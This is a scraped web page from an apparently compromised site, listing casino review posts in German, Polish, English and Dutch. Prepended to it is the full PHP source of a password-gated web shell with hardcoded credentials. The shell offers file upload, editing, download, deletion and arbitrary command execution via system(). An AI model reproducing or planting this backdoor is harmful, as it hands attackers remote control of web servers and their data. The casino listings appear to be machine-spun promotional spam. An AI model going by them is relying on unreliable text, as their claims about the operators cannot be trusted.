if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Spins – collectives.berlin

Your digital paradise.

Category: Spins

  • Web Casino Fugu Rezension: Was berichten reale Nutzer?

    Web Casino Fugu Rezension: Was berichten reale Nutzer? Web Casino Fugu offenbart sich jedem, der nach einem vertrauenswürdigen Online-Casino fahndet. Wie zuverlässig ist dieser Anbieter eigentlich? Genehmigung, Schutz, Spielauswahl und Kundenmeinungen von fugu online casino – all das analysieren wir detailliert in unserem Ratgeber, damit Nutzer informiert urteilen können. Sowohl die digitalen Sicherheitsstandards als auch…

    Click or not…

  • Lemon PL casino: przegladaj wyrózniki i technologie znanej serwisu internetowego

    Lemon PL casino: przegladaj wyrózniki i technologie znanej serwisu internetowego Lemon PL okresla obszar online casino, która spaja kompleksowy zbiór aktywnosci, aktualne mozliwosci oraz elastyczne mechanizmy dostepne dla uczestników. Serwis zostal zaplanowany z mysla o osobach chcacych znalezc przyjaznej przestrzeni cyfrowej, w której wszystkie najwazniejsze obszary znajduja sie w jasno dostepnych miejscach. Aktualne modele internetowe…

    Click or not…

  • Lemon Casino Opinie casino: dowiedz sie o zakres i narzedzia docenianej uslugi

    Lemon Casino Opinie casino: dowiedz sie o zakres i narzedzia docenianej uslugi Lemon Casino Opinie jest narzedzie online casino, która opiera sie na rozszerzony asortyment propozycji, swieze systemy oraz intuicyjne obszary dostepne dla odwiedzajacych serwis. Serwis zostal rozwijany z mysla o uzytkownikach platformy wymagajacych transparentnej przestrzeni cyfrowej, w której wszystkie najwazniejsze elementy serwisu znajduja sie…

    Click or not…

  • SpinGranny Guide Web-Casino: Casino-Sortiment, Transaktionsmöglichkeiten und Plattformerlebnis bei der Bewertung

    SpinGranny Guide Web-Casino: Casino-Sortiment, Transaktionsmöglichkeiten und Plattformerlebnis bei der Bewertung Ein gut funktionierendes Online-Spielcasino sollte in der Praxis mehr im Alltag leisten als eine breit aufgestellte Spielsortiment an Casino-Inhalten. SpinGranny Guide lässt sich daher deshalb am sinnvollsten Weg über mehrere Leistungsbereiche Plattformfunktionen als gemeinsame Kriterien objektiv bewerten, von der benutzerseitigen Handhabung des Kontos bis zu…

    Click or not…

  • Pokies Net Australia Casino Review: Casino Games, Banking along with User Safety

    Pokies Net Australia Casino Review: Casino Games, Banking along with User Safety Pokies Net Australia Casino operates a internet-based gambling website featuring casino slots, real-time dealer products, casino table titles along with sports sportsbook betting via a single player account. This service is structured to support web-browser use on computer and mobile devices, with a…

    Click or not…

  • Fugu Deutschland Test: Sind die Kunden überzeugt?

    Fugu Deutschland Test: Sind die Kunden überzeugt? Wer eine solide Online-Glücksspielplattform finden möchte, wird früher oder später auf Fugu Deutschland aufmerksam werden. Aber wie vertrauenswürdig ist das Unternehmen in der Wirklichkeit? Dieser Praxisbericht durchleuchtet Lizenz, Zuverlässigkeit, Spielauswahl sowie Spielerberichte von casino fugu und präsentiert Ihnen alle notwendigen Informationen für eine kompetente Entscheidung. Sowohl die zeitgemäßen…

    Click or not…

  • Crystalroll casino: een beoordeling van het online casino

    Crystalroll casino: een beoordeling van het online casino Wie een online casino selecteert, kijkt meestal naar spelaanbod, transactiemethoden, promoties en gebruikservaring. Crystalroll casino kan op deze platformkenmerken worden onderzocht, terwijl crystal roll meer informatie voor spelers over het online casino-aanbod kan bieden. Voor nieuwe mobiele spelers is het aan te raden om eerst de belangrijkste…

    Click or not…

  • Online buitenlandse casino: het online casino op een rij

    Online buitenlandse casino: het online casino op een rij Wie een online casino selecteert, kijkt meestal naar beschikbare spellen, betalingen, acties en gebruikersvriendelijkheid. Online buitenlandse casino kan op deze spelcriteria worden als totaalpakket beoordeeld, terwijl online buitenlandse casino meer informatie over het casinoplatform kan aanleveren. Voor nieuwe spelers is het een nuttige voorbereiding om eerst…

    Click or not…